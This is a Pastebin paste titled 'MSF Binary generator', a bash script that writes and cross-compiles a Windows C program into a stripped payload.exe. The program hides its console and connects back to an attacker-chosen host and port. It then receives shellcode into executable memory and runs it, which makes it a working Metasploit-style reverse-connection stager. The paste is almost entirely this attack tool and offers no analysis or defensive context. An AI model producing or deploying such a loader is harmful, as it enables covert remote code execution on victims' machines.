indonesian

MSF Binary generator

Aug 22nd, 2017
281
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.69 KB | None | 0 0
  1. #!/bin/bash
  2. echo -en 'LHOST : '
  3. read ip
  4. echo -en 'LPORT : '
  5. read port
  6. echo '#include <stdio.h>'> temp.c
  7. echo '#include <stdlib.h>' >> temp.c
  8. echo '#include <winsock2.h>' >> temp.c
  9. echo '#include <windows.h>' >> temp.c
  10. echo -n 'unsigned char server[]="' >> temp.c
  11. echo -n $ip >> temp.c
  12. echo -n '";' >> temp.c
  13. echo '' >> temp.c
  14. echo -n 'unsigned char serverp[]="' >> temp.c
  15. echo -n $port >> temp.c
  16. echo -n '";' >> temp.c
  17. echo '' >> temp.c
  18. echo 'void winsock_init() {' >> temp.c
  19. echo '    WSADATA    wsaData;' >> temp.c
  20. echo '    WORD    wVersionRequested;' >> temp.c
  21. echo '    wVersionRequested = MAKEWORD(2, 2);'>> temp.c
  22. echo '    if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c
  23. echo '         printf("bad\n"); '>> temp.c
  24. echo '         WSACleanup(); '>> temp.c
  25. echo '        exit(1);'>> temp.c
  26. echo '    }' >> temp.c
  27. echo ' }' >> temp.c
  28. echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c
  29. echo '    printf("r %s\n", error);'>> temp.c
  30. echo '    closesocket(my_socket);'>> temp.c
  31. echo '    WSACleanup();'>> temp.c
  32. echo '    exit(1);' >> temp.c
  33. echo ' }' >> temp.c
  34. echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c
  35. echo '    int    tret   = 0;'>> temp.c
  36. echo '    int    nret   = 0;'>>temp.c
  37. echo '    void * startb = buffer;'>> temp.c
  38. echo '    while (tret < len) {'>>temp.c
  39. echo '        nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c
  40. echo '        startb += nret;'>> temp.c
  41. echo '        tret   += nret;'>>temp.c
  42. echo '         if (nret == SOCKET_ERROR)'>> temp.c
  43. echo '            punt(my_socket, "no data");'>> temp.c
  44. echo '    }'>>temp.c
  45. echo '    return tret;'>> temp.c
  46. echo '}' >> temp.c  
  47. echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c
  48. echo '    struct hostent *        target;' >> temp.c
  49. echo '    struct sockaddr_in     sock;' >> temp.c
  50. echo '    SOCKET             my_socket;'>>temp.c
  51. echo '    my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c
  52. echo '     if (my_socket == INVALID_SOCKET)'>> temp.c
  53. echo '        punt(my_socket, ".");'>>temp.c
  54. echo '    target = gethostbyname(targetip);'>>temp.c
  55. echo '    if (target == NULL)'>>temp.c
  56. echo '        punt(my_socket, "..");'>>temp.c
  57. echo '    memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c
  58. echo '    sock.sin_family = AF_INET;'>> temp.c
  59. echo '    sock.sin_port = htons(port);'>>temp.c
  60. echo '    if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c
  61. echo '         punt(my_socket, "...");'>>temp.c  
  62. echo '    return my_socket;'>>temp.c
  63. echo '}' >> temp.c
  64. echo 'int main(int argc, char * argv[]) {' >> temp.c
  65. echo '  FreeConsole();'>>temp.c
  66. echo '    ULONG32 size;'>>temp.c
  67. echo '    char * buffer;'>>temp.c
  68. echo '    void (*function)();'>>temp.c
  69. echo '    winsock_init();'>> temp.c
  70. echo '    SOCKET my_socket = wsconnect(server, atoi(serverp));'>>temp.c
  71. echo '    int count = recv(my_socket, (char *)&size, 4, 0);'>>temp.c
  72. echo '    if (count != 4 || size <= 0)'>>temp.c
  73. echo '        punt(my_socket, "error lenght\n");'>>temp.c
  74. echo '    buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>>temp.c
  75. echo '    if (buffer == NULL)'>>temp.c
  76. echo '        punt(my_socket, "error in buf\n");'>>temp.c
  77. echo '    buffer[0] = 0xBF;'>>temp.c
  78. echo '    memcpy(buffer + 1, &my_socket, 4);'>>temp.c
  79. echo '    count = recv_all(my_socket, buffer + 5, size);'>>temp.c
  80. echo '    function = (void (*)())buffer;'>>temp.c
  81. echo '    function();'>>temp.c
  82. echo '    return 0;'>>temp.c
  83. echo '}' >> temp.c
  84. echo 'Compiling binary ..'
  85. i686-w64-mingw32-gcc temp.c -o payload.exe -lws2_32 -mwindows
  86. strip payload.exe
  87. rm temp.c
Advertisement
Add Comment
Please, Sign In to add comment